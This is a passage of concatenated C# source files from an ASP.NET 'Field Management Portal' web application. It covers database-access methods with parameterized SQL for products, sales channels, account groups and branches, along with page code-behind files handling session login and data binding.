myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"SELECT a.[id] ,b.[glu] ,b.[item_code] ,b.[item_name] ,b.[product_division] ,b.[uom] ,b.[price_net] ,a.[channel] ,a.[pipeline_period] ,a.[saturation_period] ,a.[newproduct_id] ,a.[created_at] ,a.[created_by] ,a.[modified_at] ,a.[modified_by] ,a.[deleted_at] ,a.[deleted_by] ,a.[status] ,a.[remarks] ,a.[active] FROM [dbo].[Ref_NewProduct_Channel] a left join [dbo].[Ref_NewProduct] b on a.newproduct_id = b.id where a.[status] = 'Active' and channel in (select channel from [Saturation_Database].[dbo].[Ref_User_Channel] where [user_id] = @userId) and a.[created_at] is null order by a.[id]"; myCommand.Parameters.AddWithValue("@userId", System.Data.SqlDbType.Int); myCommand.Parameters["@userId"].Value = userid; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { clsChannel channelbranch = new clsChannel(); channelbranch.id = (myReader["id"] == null) ? string.Empty : myReader["id"].ToString(); channelbranch.channel = (myReader["channel"] == null) ? string.Empty : myReader["channel"].ToString(); channelbranch.itemname = (myReader["item_name"] == null) ? string.Empty : myReader["item_name"].ToString(); channelbranch.item_code = (myReader["item_code"] == null) ? string.Empty : myReader["item_code"].ToString(); channelbranch.glu = (myReader["glu"] == null) ? string.Empty : myReader["glu"].ToString(); channelbranch.product_division = (myReader["product_division"] == null) ? string.Empty : myReader["product_division"].ToString(); channelbranch.price_net = (myReader["price_net"] == null) ? string.Empty : myReader["price_net"].ToString(); channelbranch.uom = (myReader["uom"] == null) ? string.Empty : myReader["uom"].ToString(); ChannelBranchList.Add(channelbranch); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return ChannelBranchList; } //newproduct_detail public clsNewProduct getNewSaturationById(string newProduct_id) { clsNewProduct newProd = new clsNewProduct(); SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"select a.[id] ,b.[glu] ,b.[item_code] ,b.[item_name] ,b.[remarks] ,b.[uom] ,b.[price_net] ,b.[product_division] ,a.[channel] ,a.[pipeline_period] ,a.[saturation_period] ,a.[newproduct_id] ,a.[created_at] ,a.[created_by] ,a.[modified_at] ,a.[modified_by] ,a.[deleted_at] ,a.[deleted_by] ,a.[status] ,a.[remarks] ,a.[active] from [dbo].[Ref_NewProduct_Channel] a left join [dbo].[Ref_NewProduct] b on a.newproduct_id = b.id where a.[id] = @id"; myCommand.Parameters.AddWithValue("@id", System.Data.SqlDbType.VarChar); myCommand.Parameters["@id"].Value = newProduct_id; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { newProd.id = (myReader["id"] == null) ? string.Empty : myReader["id"].ToString(); newProd.glu = (myReader["glu"] == null) ? string.Empty : myReader["glu"].ToString(); newProd.itemCode = (myReader["item_code"] == null) ? string.Empty : myReader["item_code"].ToString(); newProd.itemName = (myReader["item_name"] == null) ? string.Empty : myReader["item_name"].ToString(); newProd.remarks = (myReader["remarks"] == null) ? string.Empty : myReader["remarks"].ToString(); newProd.uom = (myReader["uom"] == null) ? string.Empty : myReader["uom"].ToString(); newProd.priceNet = (myReader["price_net"] == null) ? string.Empty : myReader["price_net"].ToString(); newProd.productDivision = (myReader["product_division"] == null) ? string.Empty : myReader["product_division"].ToString(); newProd.channel = (myReader["channel"] == null) ? string.Empty : myReader["channel"].ToString(); newProd.pipeline = (myReader["pipeline_period"] == null) ? string.Empty : myReader["pipeline_period"].ToString(); newProd.saturation = (myReader["saturation_period"] == null) ? string.Empty : myReader["saturation_period"].ToString(); newProd.createdAt = (myReader["created_at"] == null) ? string.Empty : myReader["created_at"].ToString(); //newProd.createdBy = (myReader["created_by"] == null) ? string.Empty : myReader["created_by"].ToString(); //newProd.modifiedAt = (myReader["modified_at"] == null) ? string.Empty : myReader["modified_at"].ToString(); //newProd.modifiedBy = (myReader["modified_by"] == null) ? string.Empty : myReader["modified_by"].ToString(); newProd.status = (myReader["status"] == null) ? string.Empty : myReader["status"].ToString(); //newProd.plan = (myReader["plan"] == null) ? string.Empty : myReader["plan"].ToString(); //newProd.confirmed = (myReader["confirmed"] == null) ? string.Empty : myReader["confirmed"].ToString(); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return newProd; } public List<clsAccountGroup> getNewProductAssignAccountGroupByNPid(string newProduct_id) { List<clsAccountGroup> newProductAcctGrp = new List<clsAccountGroup>(); SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"SELECT [id] ,[account_group_1] ,[allocation_plan_qty] ,[allocation_plan_amt] ,[remarks] ,[pipeline_period] ,[saturation_period] ,[newproduct_id] FROM [Saturation_Database].[dbo].[Ref_NewProduct_Account] WHERE [newproduct_id] = @newProduct_id ORDER BY [id] DESC "; myCommand.Parameters.AddWithValue("@newProduct_id", System.Data.SqlDbType.Int); myCommand.Parameters["@newProduct_id"].Value = newProduct_id; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { clsAccountGroup newProdAcctGroup = new clsAccountGroup(); newProdAcctGroup.id = (myReader["id"] == null) ? string.Empty : myReader["id"].ToString(); newProdAcctGroup.account_group_name = (myReader["account_group_1"] == null) ? string.Empty : myReader["account_group_1"].ToString(); newProdAcctGroup.plan = (myReader["allocation_plan_qty"] == null) ? string.Empty : myReader["allocation_plan_qty"].ToString(); newProdAcctGroup.remarks = (myReader["remarks"] == null) ? string.Empty : myReader["remarks"].ToString(); newProdAcctGroup.allocation_plan_amt = (myReader["allocation_plan_amt"] == null) ? string.Empty : myReader["allocation_plan_amt"].ToString(); newProdAcctGroup.pipeline_period = (myReader["pipeline_period"] == null) ? string.Empty : myReader["pipeline_period"].ToString(); newProdAcctGroup.saturation_period = (myReader["saturation_period"] == null) ? string.Empty : myReader["saturation_period"].ToString(); newProdAcctGroup.newproduct_id = (myReader["newproduct_id"] == null) ? string.Empty : myReader["newproduct_id"].ToString(); newProductAcctGrp.Add(newProdAcctGroup); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return newProductAcctGrp; } public List<string> getAccountGroupList(string channel, string newProduct_id) { List<string> acctGroupList = new List<string>(); SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"select distinct [account_group_1] FROM [Ref_Branch] where [Channel] = @channel and [account_group_1] not in (select distinct [account_group_1] FROM [Saturation_Database].[dbo].[Ref_NewProduct_Account] where [newproduct_id] = @newProduct_id) "; myCommand.Parameters.AddWithValue("@channel", System.Data.SqlDbType.VarChar); myCommand.Parameters.AddWithValue("@newProduct_id", System.Data.SqlDbType.Int); myCommand.Parameters["@channel"].Value = channel; myCommand.Parameters["@newProduct_id"].Value = newProduct_id; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { string acctGroup = (myReader["account_group_1"] == null) ? string.Empty : myReader["account_group_1"].ToString(); acctGroupList.Add(acctGroup); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return acctGroupList; } public void insertAccountGroup(List<clsAccountGroup> accountGroup) { SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"INSERT INTO [dbo].[Ref_NewProduct_Account] ([account_group_1] ,[allocation_plan_qty] ,[remarks] ,[pipeline_period] ,[saturation_period] ,[newproduct_id]) VALUES (@account_group_1 ,@allocation_plan_qty ,@remarks, @pipeline_period, @saturation_period, @newproduct_id)"; myCommand.Parameters.Add("@account_group_1", System.Data.SqlDbType.NVarChar); myCommand.Parameters.Add("@allocation_plan_qty", System.Data.SqlDbType.Int); myCommand.Parameters.Add("@remarks", System.Data.SqlDbType.NVarChar); myCommand.Parameters.Add("@pipeline_period", System.Data.SqlDbType.Date); myCommand.Parameters.Add("@saturation_period", System.Data.SqlDbType.Date); myCommand.Parameters.Add("@newproduct_id", System.Data.SqlDbType.Int); try { myConnection.Open(); //myCommand.ExecuteNonQuery(); foreach (var item in accountGroup) { myCommand.Parameters[0].Value = item.account_group_name; myCommand.Parameters[1].Value = item.plan; myCommand.Parameters[2].Value = item.remarks; myCommand.Parameters[3].Value = item.pipeline_period; myCommand.Parameters[4].Value = item.saturation_period; myCommand.Parameters[5].Value = item.newproduct_id; myCommand.ExecuteNonQuery(); } } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } } //newproduct_branch public void insertBranchSelect(List<clsBranch> BranchSelect) { SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"INSERT INTO [dbo].[Ref_NewProduct_Branch] ([account_code] ,[account_name] ,[branch_code] ,[branch_name] ,[sales_rep_code] ,[sales_rep_name] ,[status] ,[remarks] ,[newproduct_account_id] ,[branch_id]) VALUES (@account_code ,@account_name ,@branch_code ,@branch_name ,@sales_rep_code ,@sales_rep_name ,@status ,@remarks ,@newproduct_account_id ,@branch_id)"; myCommand.Parameters.Add("@account_code", System.Data.SqlDbType.NVarChar); myCommand.Parameters.Add("@account_name", System.Data.SqlDbType.NVarChar); myCommand.Parameters.Add("@branch_code", System.Data.SqlDbType.NVarChar); myCommand.Parameters.Add("@branch_name", System.Data.SqlDbType.NVarChar); myCommand.Parameters.Add("@sales_rep_code", System.Data.SqlDbType.NVarChar); myCommand.Parameters.Add("@sales_rep_name", System.Data.SqlDbType.NVarChar); myCommand.Parameters.Add("@status", System.Data.SqlDbType.NVarChar); myCommand.Parameters.Add("@remarks", System.Data.SqlDbType.NVarChar); myCommand.Parameters.Add("@newproduct_account_id", System.Data.SqlDbType.Int); myCommand.Parameters.Add("@branch_id", System.Data.SqlDbType.Int); try { myConnection.Open(); //myCommand.ExecuteNonQuery(); foreach (var item in BranchSelect) { myCommand.Parameters[0].Value = ""; myCommand.Parameters[1].Value = ""; myCommand.Parameters[2].Value = item.branchCode; myCommand.Parameters[3].Value = item.branchName; myCommand.Parameters[4].Value = ""; myCommand.Parameters[5].Value = ""; myCommand.Parameters[6].Value = item.status; myCommand.Parameters[7].Value = ""; myCommand.Parameters[8].Value = item.newproductaccountid; myCommand.Parameters[9].Value = item.branchId; myCommand.ExecuteNonQuery(); } } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } } public List<clsBranch> getBranchNamelist(string newProductAcctGrp_id) { List<clsBranch> branchNameList = new List<clsBranch>(); SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"select [id], [branch_code],replace(branch_name,'''','`') as [branch_name] from [dbo].[Ref_Branch] where [account_group_1] in ( SELECT distinct [account_group_1] from [Ref_NewProduct_Account] where [id] = @newProductAcctGrp_id) and [id] not in (select branch_id from [Ref_NewProduct_Branch] where [newproduct_account_id] = @newProductAcctGrp_id)"; myCommand.Parameters.AddWithValue("@newProductAcctGrp_id", System.Data.SqlDbType.Int); myCommand.Parameters["@newProductAcctGrp_id"].Value = newProductAcctGrp_id; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { clsBranch branch = new clsBranch(); branch.branchId = (myReader["id"] == null) ? string.Empty : myReader["id"].ToString(); branch.branchCode = (myReader["branch_code"] == null) ? string.Empty : myReader["branch_code"].ToString(); branch.branchName = (myReader["branch_name"] == null) ? string.Empty : myReader["branch_name"].ToString(); branchNameList.Add(branch); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return branchNameList; } public clsAccountGroup getNewProductAcctGrpById(string newProductAcctGrp_id) { clsAccountGroup AcctGrp = new clsAccountGroup(); SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"SELECT [id] ,[account_group_1] ,[allocation_plan_qty] ,[allocation_plan_amt] ,[remarks] ,[pipeline_period] ,[saturation_period] ,[newproduct_id] FROM [Saturation_Database].[dbo].[Ref_NewProduct_Account] WHERE [id] = @id"; myCommand.Parameters.AddWithValue("@id", System.Data.SqlDbType.Int); myCommand.Parameters["@id"].Value = newProductAcctGrp_id; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { AcctGrp.id = (myReader["id"] == null) ? string.Empty : myReader["id"].ToString(); AcctGrp.account_group_name = (myReader["account_group_1"] == null) ? string.Empty : myReader["account_group_1"].ToString(); AcctGrp.plan = (myReader["allocation_plan_qty"] == null) ? string.Empty : myReader["allocation_plan_qty"].ToString(); AcctGrp.remarks = (myReader["remarks"] == null) ? string.Empty : myReader["remarks"].ToString(); AcctGrp.allocation_plan_amt = (myReader["allocation_plan_amt"] == null) ? string.Empty : myReader["allocation_plan_amt"].ToString(); AcctGrp.pipeline_period = (myReader["pipeline_period"] == null) ? string.Empty : myReader["pipeline_period"].ToString(); AcctGrp.saturation_period = (myReader["saturation_period"] == null) ? string.Empty : myReader["saturation_period"].ToString(); AcctGrp.newproduct_id = (myReader["newproduct_id"] == null) ? string.Empty : myReader["newproduct_id"].ToString(); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return AcctGrp; } public List<clsBranch> getNewProductAssignBranchesByAcctGrpId(string newProductAcctGrp_id) { List<clsBranch> newProdBranches = new List<clsBranch>(); SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"SELECT [id] ,[account_code] ,[account_name] ,[branch_code] ,[branch_name] ,[sales_rep_code] ,[sales_rep_name] ,[status] ,[remarks] ,[newproduct_account_id] ,[branch_id] FROM [Saturation_Database].[dbo].[Ref_NewProduct_Branch] WHERE newproduct_account_id = @newProductAcctGrp_id ORDER BY [id] DESC "; myCommand.Parameters.AddWithValue("@newProductAcctGrp_id", System.Data.SqlDbType.Int); myCommand.Parameters["@newProductAcctGrp_id"].Value = newProductAcctGrp_id; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { clsBranch newProdBranch = new clsBranch(); newProdBranch.iD = (myReader["id"] == null) ? string.Empty : myReader["id"].ToString(); newProdBranch.branchCode = (myReader["branch_code"] == null) ? string.Empty : myReader["branch_code"].ToString(); newProdBranch.branchName = (myReader["branch_name"] == null) ? string.Empty : myReader["branch_name"].ToString(); newProdBranch.status = (myReader["status"] == null) ? string.Empty : myReader["status"].ToString(); newProdBranch.remarks = (myReader["remarks"] == null) ? string.Empty : myReader["remarks"].ToString(); newProdBranch.branchId = (myReader["branch_id"] == null) ? string.Empty : myReader["branch_id"].ToString(); newProdBranch.newproductaccountid = (myReader["newproduct_account_id"] == null) ? string.Empty : myReader["newproduct_account_id"].ToString(); newProdBranches.Add(newProdBranch); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return newProdBranches; } }<file_sep>/SaturationMain.master.cs using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class SaturationMain : System.Web.UI.MasterPage { protected void Page_Load(object sender, EventArgs e) { clsUser user = (clsUser)Session["user"]; if (user == null) { Response.Redirect("~/Site_Login.aspx"); } else { username.Text = user.Fullname; } } protected void logoutBtn_Click(object sender, EventArgs e) { Session.Clear(); Response.Redirect("~/Site_Login.aspx"); } } <file_sep>/App_Code/TableAccountGroup.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; public class TableAccountGroup { } <file_sep>/App_Code/clsNewProductContext.cs using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Data.Entity; /// <summary> /// Summary description for clsNewProductContext /// </summary> public class clsNewProductContext : DbContext { public clsNewProductContext() : base("SaturationDB") { // // TODO: Add constructor logic here // } public DbSet<clsNewProduct> newProducts { get; set; } }<file_sep>/README.md # fmp Field Management Portal <file_sep>/App_Code/clsBranch.cs using System; using System.Collections.Generic; using System.Linq; using System.Web; /// <summary> /// Summary description for clsBranch /// </summary> public class clsBranch { public string iD { get; set; } public string branchCode { get; set; } public string branchId { get; set; } public string branchName { get; set; } public string status { get; set; } public string remarks { get; set; } public string newproductaccountid { get; set; } public clsBranch() { // // TODO: Add constructor logic here // } }<file_sep>/newproduct_view.aspx.cs using Newtonsoft.Json; using System; using System.Collections.Generic; using System.Configuration; using System.Data; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.HtmlControls; using System.Web.UI.WebControls; public partial class newproduct_view : System.Web.UI.Page { static clsDBLayer DBLayer = new clsDBLayer(ConfigurationManager.ConnectionStrings["SaturationDB"].ToString()); private clsUser user; protected void Page_Load(object sender, EventArgs e) { user = (clsUser)Session["user"]; if (user == null) { Response.Redirect("~/Site_Login.aspx"); Session.Clear(); } string newProduct_id = Request["NewProductDetails"]; clsNewProduct newProd = DBLayer.getNewProductById(newProduct_id); newProduct_Name.Text = newProd.itemName; newProduct_Code.Text = newProd.itemCode; newProduct_Glu.Text = newProd.glu; newProduct_Division.Text = newProd.productDivision; newProduct_Price.Text = newProd.priceNet; newProduct_uom.Text = newProd.uom; //List<clsChannel> newProdChannelStatus = DBLayer.getNewProdChannelStatusByID(newProduct_id); //newProdChannelStatusRptr.DataSource = newProdChannelStatus; //newProdChannelStatusRptr.DataBind(); // lblDateCreated.Text = DateTime.Parse(newProd.createdAt).ToString("MM-dd-yyyy"); // lblDatePipeline.Text = DateTime.Parse(newProd.pipeline).ToString("MM-dd-yyyy"); // lblDateSaturation.Text = DateTime.Parse(newProd.saturation).ToString("MM-dd-yyyy"); } protected void newProdChannelStatusRptr_ItemDataBound(object sender, RepeaterItemEventArgs e) { //if (e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem) //{ // clsChannel newProd = (clsChannel)e.Item.DataItem; // var dataItem = newProd.status; // //CheckBox cb = new CheckBox(); // //cb = (CheckBox)e.Item.FindControl("toggleswitchChannel"); // if (dataItem == "Active") // { // cb.Attributes.Add("checked", "true"); // } // else // { // cb.Attributes.Remove("checked"); // } //} } [System.Web.Services.WebMethod(EnableSession = true)] public static object UpdateChannelStatus(string ChannelId, string Status) { string UpdtStat = (Status == "Active") ? "Disable" : "Active"; clsUser userId = (clsUser)HttpContext.Current.Session["user"]; DBLayer.UpdateChannelSatusById(ChannelId, UpdtStat); return ""; } [System.Web.Services.WebMethod] public static object lbRefreshChannelTable_Click(string NewProdDetailId) { List<clsChannel> newProdChannelStatus = DBLayer.getNewProdChannelStatusByID(NewProdDetailId); string json = JsonConvert.SerializeObject(new { newProdChannelStatus }); return json; } }<file_sep>/newproduct_detail.aspx.cs using Newtonsoft.Json; using System; using System.Collections.Generic; using System.Configuration; using System.Web.UI.WebControls; public partial class newproduct_detail : System.Web.UI.Page { static clsDBLayer DBLayer = new clsDBLayer(ConfigurationManager.ConnectionStrings["SaturationDB"].ToString()); private clsUser user; protected void Page_Load(object sender, EventArgs e) { user = (clsUser)Session["user"]; if (user == null) { Response.Redirect("~/Site_Login.aspx"); Session.Clear(); } string newProduct_id = Request["NewProduct"]; if (!IsPostBack) { clsNewProduct newProd = DBLayer.getNewSaturationById(newProduct_id); newProduct_Name.Text = newProd.itemName; newProduct_Code.Text = newProd.itemCode; newProduct_Glu.Text = newProd.glu; newProduct_Division.Text = newProd.productDivision; newProduct_Price.Text = newProd.priceNet; newProduct_uom.Text = newProd.uom; lblChannel.Text = newProd.channel; lblDateCreated.Text = DateTime.Parse(newProd.createdAt).ToString("MM.dd.yyyy"); lblDatePipeline.Text = DateTime.Parse(newProd.pipeline).ToString("MM.yyyy"); lblDateSaturation.Text = DateTime.Parse(newProd.saturation).ToString("MM.yyyy"); } rprtDatabind(newProduct_id); } protected void newProdAcctGrpRptr_ItemDataBound(object sender, RepeaterItemEventArgs e) { LinkButton viewBtn = (LinkButton)e.Item.FindControl("viewBtn"); LinkButton BtnEdit = (LinkButton)e.Item.FindControl("BtnEdit"); LinkButton BtnDelete = (LinkButton)e.Item.FindControl("BtnDelete"); string usertype = user.Type; if (usertype == "PMOG") { BtnEdit.Visible = true; BtnDelete.Visible = true; } else if (usertype == "Developer") { BtnEdit.Visible = false; BtnDelete.Visible = false; } //if (e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem) //{ // clsAccountGroup newProdAcctGrpList = (clsAccountGroup)e.Item.DataItem; // Label pipelineLbl = (Label)e.Item.FindControl("ProdpipelineDate"); // pipelineLbl.Text = DateTime.Parse(newProdAcctGrpList.pipeline_period).ToString("MM.dd.yyyy"); // Label saturationLbl = (Label)e.Item.FindControl("ProdsaturationDate"); // saturationLbl.Text = DateTime.Parse(newProdAcctGrpList.saturation_period).ToString("MM.dd.yyyy"); //} } protected void newProdAcctGrpRptr_ItemCommand(object source, RepeaterCommandEventArgs e) { string newProduct_id = Request["NewProduct"]; if (e.CommandName.Equals("view")) { string newProdAcctGrp_id = (string)e.CommandArgument; Response.Redirect("newproduct_branch?NewProduct=" + Request["NewProduct"] + "&AcctGroupID=" + newProdAcctGrp_id); } else if (e.CommandName.Equals("edit")) { } else if (e.CommandName.Equals("delete")) { } } public void rprtDatabind(string newProduct_id) { List<clsAccountGroup> newProdAcctGrpList = DBLayer.getNewProductAssignAccountGroupByNPid(newProduct_id); newProdAcctGrpRptr.DataSource = newProdAcctGrpList; newProdAcctGrpRptr.DataBind(); //foreach(RepeaterItem item in newProdAcctGrpRptr.Items) //{ // if(item.ItemType == ListItemType.Item || item.ItemType == ListItemType.AlternatingItem) // { // LinkButton lb = (LinkButton)item.FindControl("viewBtn"); // lb.Visible = false; // } //} } //Web Method [System.Web.Services.WebMethod] public static object getAcctGroup(string channel, string newProduct_id) { List<string> acctGroupList = DBLayer.getAccountGroupList(channel, newProduct_id); string json = JsonConvert.SerializeObject(new { acctGroupList }); return json; } [System.Web.Services.WebMethod(EnableSession = true)] public static object submitAcctGroup(string TableAccountGroup, string Pk, string PipelineDate, string SatDate) { List<clsAccountGroup> accountGroup = JsonConvert.DeserializeObject<List<clsAccountGroup>>(TableAccountGroup); foreach (var acctgroup in accountGroup) { acctgroup.newproduct_id = Pk; acctgroup.pipeline_period = PipelineDate; acctgroup.saturation_period = SatDate; } DBLayer.insertAccountGroup(accountGroup); return ""; } //[System.Web.Services.WebMethod] //public static object RefreshAccountofSaturationTable_Click(string newProduct_id) //{ // List<clsAccountGroup> newAssignAcctGroupList = DBLayer.getNewProductAssignAccountGroupByNPid(newProduct_id); // string json = JsonConvert.SerializeObject(new { newAssignAcctGroupList }); // return json; //} }<file_sep>/newproduct.aspx.cs using Newtonsoft.Json; using System; using System.Collections.Generic; using System.Configuration; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class newproduct : System.Web.UI.Page { private clsUser user { get; set; } static clsDBLayer DBLayer = new clsDBLayer(ConfigurationManager.ConnectionStrings["SaturationDB"].ToString()); protected void Page_Load(object sender, EventArgs e) { user = (clsUser)Session["user"]; if (user == null) { Response.Redirect("~/Site_Login.aspx"); } if (!IsPostBack) { BindTable(); } string userid = user.Id; List<clsChannel> ChannelBranchList = DBLayer.getChannelBrandById(userid); RptSetSaturation.DataSource = ChannelBranchList; RptSetSaturation.DataBind(); } protected void newProdRptr_ItemDataBound(object sender, RepeaterItemEventArgs e) { if (e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem) { clsNewProduct newProd = (clsNewProduct)e.Item.DataItem; Label pipelineLbl = (Label)e.Item.FindControl("pipelineDate"); pipelineLbl.Text = DateTime.Parse(newProd.pipeline).ToString("MM.yyyy"); Label saturationLbl = (Label)e.Item.FindControl("saturationDate"); saturationLbl.Text = DateTime.Parse(newProd.saturation).ToString("MM.yyyy"); Label dateCreatedLbl = (Label)e.Item.FindControl("dateCreated"); dateCreatedLbl.Text = DateTime.Parse(newProd.createdAt).ToString("MM.dd.yyyy"); } } protected void newProdRptr_ItemCommand(object source, RepeaterCommandEventArgs e) { if (e.CommandName.Equals("view")) { string newProd_id = (string)e.CommandArgument; Response.Redirect("newproduct_detail?NewProduct=" + newProd_id); } } protected void btnAddSaturation_Click(object sender, EventArgs e) { //string channelbrandid = Request["ddlChannelBrand"]; //string pipelinedate = tbPipeLineDate.Text; //string saturationdate = tbSaturationDate.Text; //string remarks = tbRemarks.Text; //clsChannel newSaturation = new clsChannel(); //newSaturation.id = channelbrandid; //newSaturation.pipeline_period = pipelinedate; //newSaturation.saturation_period = saturationdate; //newSaturation.remarks = remarks; //newSaturation.created_at = DBLayer.GetCurrentTime().ToString(); //newSaturation.created_by = user.Id; //DBLayer.UpdateSaturationBYChannelBrandId(newSaturation); //ScriptManager.RegisterStartupScript(this.Page, this.GetType(), "script", "closeModal();populateDdlChannelBranch('#ddlChannelBrand');", true); //BindTable(); } public void BindTable() { if (user.Type.Equals("PMOG")) { string userId = user.Id; List<clsNewProduct> newProdList = DBLayer.getCreatedNewProductsByUserId(userId); newProdRptr.DataSource = newProdList; newProdRptr.DataBind(); } } // Web Method [System.Web.Services.WebMethod(EnableSession = true)] public static object populateDllChannelBrand() { clsUser userId = (clsUser)HttpContext.Current.Session["user"]; string userid = userId.Id; List<clsChannel> ChannelBranchList = DBLayer.getChannelBrandById(userid); string json = JsonConvert.SerializeObject(new { ChannelBranchList }); return json; } [System.Web.Services.WebMethod] public static object SetSaturation(string channelBrandId, string PipelineDate, string EndSaturationDate, string ChannelBrandRemarks) { clsUser user = (clsUser)HttpContext.Current.Session["user"]; clsChannel newSaturation = new clsChannel(); newSaturation.id = channelBrandId; newSaturation.pipeline_period = PipelineDate; newSaturation.saturation_period = EndSaturationDate; newSaturation.remarks = ChannelBrandRemarks; newSaturation.created_at = DBLayer.GetCurrentTime().ToString(); newSaturation.created_by = user.Id; DBLayer.UpdateSaturationBYChannelBrandId(newSaturation); return "newproduct_detail?NewProduct=" + channelBrandId; } }<file_sep>/newproduct_branch.aspx.cs using Newtonsoft.Json; using System; using System.Collections.Generic; using System.Configuration; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class devchild_saturation : System.Web.UI.Page { static clsDBLayer DBLayer = new clsDBLayer(ConfigurationManager.ConnectionStrings["SaturationDB"].ToString()); private clsUser user; protected void Page_Load(object sender, EventArgs e) { user = (clsUser)Session["user"]; if (user == null) { Response.Redirect("~/Site_Login.aspx"); Session.Clear(); } string newProductAcctGrp_id = Request["AcctGroupID"]; clsAccountGroup newProductAcctGrp = DBLayer.getNewProductAcctGrpById(newProductAcctGrp_id); lblAccountGroup_Name.Text = newProductAcctGrp.account_group_name; lblRemakrs.Text = newProductAcctGrp.remarks; lblNewProdAcctId.Text = newProductAcctGrp.id; lblPlanQty.Text = newProductAcctGrp.plan; rprtDatabind(newProductAcctGrp_id); } protected void rptNewProdBranches_ItemDataBound(object sender, RepeaterItemEventArgs e) { //if (e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem) //{ // clsAccountGroup newProdAcctGrpList = (clsAccountGroup)e.Item.DataItem; // Label pipelineLbl = (Label)e.Item.FindControl("ProdpipelineDate"); // pipelineLbl.Text = DateTime.Parse(newProdAcctGrpList.pipeline_period).ToString("MM.dd.yyyy"); // Label saturationLbl = (Label)e.Item.FindControl("ProdsaturationDate"); // saturationLbl.Text = DateTime.Parse(newProdAcctGrpList.saturation_period).ToString("MM.dd.yyyy"); //} } protected void rptNewProdBranches_ItemCommand(object source, RepeaterCommandEventArgs e) { //string newProduct_id = Request["NewProduct"]; //if (e.CommandName.Equals("view")) //{ // string newProdAcctGrp_id = (string)e.CommandArgument; // Response.Redirect("newproduct_branch?NewProduct=" + Request["NewProduct"] + "&AcctGroupID=" + newProdAcctGrp_id); //} //else if (e.CommandName.Equals("edit")) //{ //} //else if (e.CommandName.Equals("delete")) //{ //} } public void rprtDatabind(string newProductAcctGrp_id) { List<clsBranch> newProdBranchesList = DBLayer.getNewProductAssignBranchesByAcctGrpId(newProductAcctGrp_id); rptNewProdBranches.DataSource = newProdBranchesList; rptNewProdBranches.DataBind(); List<clsBranch> branchNameList = DBLayer.getBranchNamelist(newProductAcctGrp_id); RptAvailableBranch.DataSource = branchNameList; RptAvailableBranch.DataBind(); } //Web Method [System.Web.Services.WebMethod] public static string getBranchName(string newProductAcctGrp_id) { List<clsBranch> branchNameList = 